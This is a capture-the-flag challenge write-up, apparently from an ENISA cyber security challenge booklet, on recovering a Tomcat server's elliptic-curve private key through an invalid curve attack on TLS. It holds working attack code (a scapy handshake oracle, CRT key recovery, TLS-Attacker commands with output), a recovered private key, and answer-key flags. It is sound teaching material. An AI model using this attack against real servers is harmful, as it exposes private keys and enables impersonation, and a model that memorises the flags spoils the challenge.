

BENT KEYS

AUTHOR:

CYBEXER TECHNOLOGIES

International Cyber Security
Challenge





1. DESCRIPTION

An application server is hosting some default Tomcat apps and description of the task at **https://<host>:<port>/challenge**.

The server is running an outdated version of Java that has several critical vulnerabilities. One of them can be attacked to leak private key of the server.

2. CHALLENGE SPECIFICATIONS

- Category: Crypto
- Difficulty: Hard
- Estimated time:
 - 60 minutes or more
 - depends on the setup (see build instructions) and available tools.
 - Several hours if usage of external tools is prohibited

3. QUESTIONS AND ANSWERS

3.1 SHA-1 HASH OF A SHARED SECRET THAT IS COMPUTED WITH DIFFIE-HELLMAN KEY EXCHANGE ALGORITHM AND CAN BE USED BY THIS SERVER FOR EXCHANGING DATA WITH ITSELF

- 256-bit key: e7bf2f86896ebbd5795336dc5a2d901c4dbfd714
- 384-bit key: 0daa650b2a48f785e6c53a3549b44bd814e9bf11
- 521-bit key: 384aafbc0dbf938fa5680b398358d54089b21b15

4. SETUP INSTRUCTIONS

Dockerfile and *docker-compose.yml* are provided to run the task in a container. PRIVKEY and PORT can be given as argument to docker-compose through environment.



PRIVKEY parameter must refer to a private key file in *files* subdirectory. There are three pre-generated private keys – 256-, 384- and 521-bit – available, but they can be replaced (**this will change the flag!**). The old Java does not support other curves than NIST ones.

NOTE: It is possible to solve this task using an open-source tool called TLS-Attacker that includes invalid curve point data for attacking 256-bit keys. Generation of this data is essential part of the solution, but the generation process requires a lot of computing power. This can be issue when time to solve is limited.

New private keys can be generated using OpenSSL:

```
openssl genpkey -algorithm EC -out mykey.pem -pkeyopt ec_paramgen_curve:P-384
```

A new self-signed certificate that is valid for 45 days is generated in any case by setup script during Docker build regardless of the private keys used. To build:

```
cat .env  
PRIVKEY=prime256v1.key  
PORT=8443
```

docker-compose build

docker-compose up

5. ARTIFACTS PROVIDED

File	SHA-256
bent-keys.tar.gz	fb97721b2ffde86c1db1a8bfd84352c3f5b439c2d19792e889e9456afda3456
ecgen.384.out.gz	7a5469a3743bc0996821f3535a40b30e2ca09b0ca8bb917509ff1ebfbff0d550

6. TOOLS NEEDED

- TLS-Attacker (<https://github.com/tls-attacker/TLS-Attacker>)
 - Java 1.8 or newer to run it
 - Maven 3.5 or newer to build it
- ecgen (<https://github.com/J08nY/ecgen>)
 - jq
- Python 2 with scapy, scapy-ssl_tls and (py)asn1
- Sage

7. WALKTHROUGH

Full description of the task is embedded to the start page:

```
In modern times, all communication in the Internet is encrypted to support
privacy. A perpetual problem has been agreement of common encryption parameters
between parties. In late 1970-s, that was by the way even before DEC introduced
their popular VT220 terminal, a solution called asymmetric cryptography was
proposed. Asymmetric cryptography involves two keys, tightly related to each
other, one of which is public and other is private. As the names suggest,
public key should be known to everybody and private key is an intimate asset.
Should a private key become public, anybody can impersonate its owner.

There are rumors that private keys are not always that private. Can you believe
it? Maybe even prove it?

Give me SHA-1 hash of a shared secret that is computed with Diffie-Hellman key
exchange algorithm and can be used by this server for exchanging data with
itself. Sounds strange, eh? But it works and is good enough to prove the point.
The algorithm doesn't prohibit using keys from the same pair.

For your convenience, the Certificate of the server is available here, although
you could have as well found it from your browser or captured from the
handshake. Now it's your turn to find the missing pieces...
```

Link to the certificate is provided. We can take a look:


Public Key Info	-----
Algorithm	Elliptic Curve
Key Size	256
Curve	P-256
Public Value	04:E2:F0:D2:D2:6D:BE:4F:1
Miscellaneous	-----
Serial Number	07:28:57:5A
Signature Algorithm	ECDSA with SHA-256

Looking at the web server root, there is a default page of old Tomcat:

Home Documentation Configuration Exam

Apache Tomcat/7.0.76

If you're seeing this, you



Recommended Reading
[Security Considerations for
Manager Application HOWTO](#)
[Clustering/Session Replication](#)

We can also observe communication properties, e.g., with Firefox:

Technical Details
Connection Encrypted (TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, 256 bit keys, TLS 1.2)



To recap the facts so far:

- Task is to get access to private key of the server,
- Server is using Elliptic Curve Cryptography wherever possible,
- It is running Java / Tomcat, which might be outdated

Assuming that there is no more hidden information, our option is to try an **Invalid Curve Attack** against TLS handshake towards web server. Old versions of JCE and Bouncy Castle are known to be vulnerable to this attack.

There is one more requirement that must be verified before attempting an attack: server must support a cipher suite that does not involve ephemeral keys (i.e., lacks forward secrecy). To do this, we must attempt to make a connection with one of such cipher suites and check if it gets accepted. It might be tricky because insecure cipher suites have been removed from modern software packages. An example with OpenSSL:

```
$ openssl ciphers | tr : '\n' | grep ECDH-ECDSA
ECDH-ECDSA-AES256-GCM-SHA384
ECDH-ECDSA-AES256-SHA384
ECDH-ECDSA-AES256-SHA
ECDH-ECDSA-AES128-GCM-SHA256
ECDH-ECDSA-AES128-SHA256
ECDH-ECDSA-AES128-SHA
ECDH-ECDSA-DES-CBC3-SHA
ECDH-ECDSA-RC4-SHA
$ openssl s_client -cipher ECDH-ECDSA-AES128-SHA256 -connect host:port
```

The attack consists of two independent parts:

1. Precomputation of suitable insecure curves and low-order points on these curves,
2. Testing the points against oracle to find congruences.

Both parts can be solved using open-source tools from GitHub – **ecgen** to generate curves and points, and **TLS-Attacker** to perform the testing and recover private key. In the following sections, both steps are described in more detail.

7.1 GENERATION OF INVALID CURVE POINTS

First part of the attack is generation of a set of invalid curve points. Since these points are not directly tied to private key of the server, but rather to the curve that is used by the server, the computations can be done in advance as there is no need to make requests towards target server during this process.

NOTE: TLS-Attacker package in GitHub includes suitable set of invalid curve points for P-256 curve and dataset for P-384 is included as an artifact to this challenge. These can be leveraged to skip generation step. Similar sets for P-384 and P-521 can be available in other sources.

Sage is one option for writing a script to complete this step.

Start by defining target curve, e.g., for P-256:

7.2 TESTING THE POINTS AGAINST ORACLE AND RECOVERING PRIVATE KEY

Second step of the attack is to initiate TLS handshake against target using the precomputed points for generating the pre-master secret. If the secret is guessed correctly, handshake can be completed, otherwise server responds with an error. In such way, the target can be used as an oracle to identify congruences between our low-order points and points on target curve.

The following example uses **scapy** and **scapy-ssl_tls** for doing TLS handshake because these offer easy options for creating crafted TLS packets. Downside is that *scapy-ssl_tls* is not compatible with Python 3.

First, a ClientHello message with suitable cipher suite must be sent and ServerHello received:

```
version = TLSVersion.TLS_1_2
ciphers = [TLSCipherSuite.ECDH_ECDSA_WITH_AES_128_CBC_SHA256]
ext = [TLSExtension() / TLSExtECPointsFormat(),
       TLSExtension() / TLSExtSupportedGroups()]
hello = TLSRecord() / TLSHandshakes(handshakes=[TLSHandshake() /
        TLSClientHello(version=version, cipher_suites=ciphers, extensions=ext)])
with TLSSocket(sock=socket.socket(), client=True) as sock:
    sock.connect(target)
    sock.sendall(hello)
    resp = sock.recvall(timeout=0.01)
    if resp.haslayer(TLSAlert):
        raise TLSProtocolError("No Server Hello returned")
```

If this succeeds, we will send ClientKeyExchange with our guessed pre-master secret, followed by ChangeCipherSpec and Finished messages. Variables *x*, *y*, and *order* come from output of precomputation step.

```
G = tinyec.ec.Point(tinyec.registry.get_curve("secp256r1"), x, y)
t = 1
point = t * G

kex = TLSRecord() / TLSHandshakes(handshakes=[TLSHandshake() /
        TLSClientKeyExchange() /
        TLSClientECDHParams(data=tlsk.point_to_ansi_str(G))])
ccs = TLSRecord() / TLSChangeCipherSpec()

try:
    tls_do_round_trip(sock, TLS.from_records([kex, ccs]), False)
    tls_do_round_trip(sock, TLSHandshakes(handshakes=[TLSHandshake() /
        TLSFinished(data=sock.tls_ctx.get_verify_data())]))
except TLSProtocolError:
    ...
```

The two calls to *tls_do_round_trip* will succeed if the pre-master secret was guessed correctly. In this case we can save the point:

```
congs[order] = pow(t, 2, order)
```

In case of *TLSProtocolError*, we must increase *t* by one and retry the whole handshake. If *t* has reached *order*, no congruences are found for this point.



The whole process has to be repeated until enough congruences has been found.

Finally, the private key is recovered using Chinese Remainder Theorem:

```
prod = reduce(lambda x,y: x*y, congs)
moduli = {mod: prod // mod for mod in congs}
sq = sum((tinyec.ec.egcd(mod, moduli[mod])[2] * congs[mod] * moduli[mod])%prod for mod in congs)
key = isqrt(sq % prod)
```

There is a package called **TLS-Attacker** available in GitHub, that can be used to test and research various well-known attacks against TLS protocol. It includes invalid curve point data for P-256 curve. For longer keys, corresponding data file must be created before build and saved to **Attacks/src/main/resources/points_<curvename>.txt** to be included in distribution JAR.

Building and running the package on Ubuntu or Kali:

```
git clone https://github.com/tls-attacker/TLS-Attacker
cd TLS-Attacker
mvn install -DskipTests=true
java -jar apps/Attacks.jar invalid_curve -connect host:port \
    -cipher TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256 -version TLS12 -executeAttack
08:27:03 [main] INFO : InvalidCurveAttacker - Executing attack against the server with named curve
SECP256R1
...
08:28:11 [main] INFO : ICEAttacker - We have found enough congruences for computing a CRT
08:28:11 [main] INFO : ICEAttacker - Number of server queries: 3853
08:28:11 [main] INFO : ICEAttacker - Time needed for the attack: 66 seconds
08:28:11 [main] INFO : InvalidCurveAttacker - Resulting plain private key:
45491441754254172081235871015600580006081339100878070694256963937754107061274
```

To attack longer keys, a suitable configuration file and command-line options are necessary.

7.3 GETTING ANSWER TO THE QUESTION

Flag for this task can be generated like this:

```
openssl pkeyutl -derive -inkey server.key -peerkey server.pub | sha1sum
```

where **server.key** and **server.pub** are both keys of the vulnerable server. **server.pub** can be easily created from either the provided certificate file or from the recovered private key using either one of the following commands:

```
openssl x509 -in server.crt -noout -pubkey > server.pub
openssl pkey -in server.key -pubout > server.pub
```

In case of attacking with TLS-Attacker, the content of **server.key** is logged to screen:

```
08:28:11 [main] INFO : InvalidCurveAttacker - -----BEGIN PRIVATE KEY-----
MEECAQAwEwYHKoZIzj0CAQYIKoZIzj0DAQcEJzA1AgEBBCBkkz5b1c51CqExFG09
F/AQKTrcZrumQ7/WNKUFWuOkGg==
-----END PRIVATE KEY-----
```

If the key was recovered with a Python script, it must be converted to appropriate ASN.1 structure.



To do this, first step is to convert integer into binary:

```
kstr = bytes(bytearray([(key & (0xff << pos*8)) >> pos*8 for pos in reversed(xrange(bits//8))]))
```

There are various modules available, example with *asn1* would be:

```
k = asn1.encoder()
k.start()
k.enter(asn1.Numbers.Sequence)
k.write(1)
k.write(kstr, asn1.Numbers.OctetString)
k.leave()

a = asn1.encoder()
a.start()
a.enter(asn1.Numbers.Sequence)
a.write(0)
a.enter(asn1.Numbers.Sequence)
a.write("1.2.840.10045.2.1", asn1.Numbers.ObjectIdentifier)
a.write("1.2.840.10045.3.1.7", asn1.Numbers.ObjectIdentifier)
a.leave()
a.write(k.output(), asn1.Numbers.OctetString)
a.leave()
print "-----BEGIN PRIVATE KEY-----"
print base64.encodestring(a.output())
print "-----END PRIVATE KEY-----"
```

For longer keys, OID of the named curve must be adjusted accordingly.

8. REFERENCES

<https://web-in-security.blogspot.com/2015/09/practical-invalid-curve-attacks.html>

<https://www.nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen/2015/09/14/main-full.pdf>

<https://commandlinefanatic.com/cgi-bin/showarticle.cgi?article=art060>

<https://crypto.stackexchange.com/questions/71065/invalid-curve-attack-finding-low-order-points>



ENISA
European Union Agency for Cybersecurity

Athens Office
1 Vasilissis Sofias Str.
151 24 Marousi, Attiki, Greece

Heraklion Office
95 Nikolaou Plastira
700 13 Vassilika Vouton, Heraklion, Greece



ISBN xxx-xx-xxxx-xxx-x
doi:xx.xxxx/xxxxxx
TP-xx-xx-xxx-EN-C



enisa.europa.eu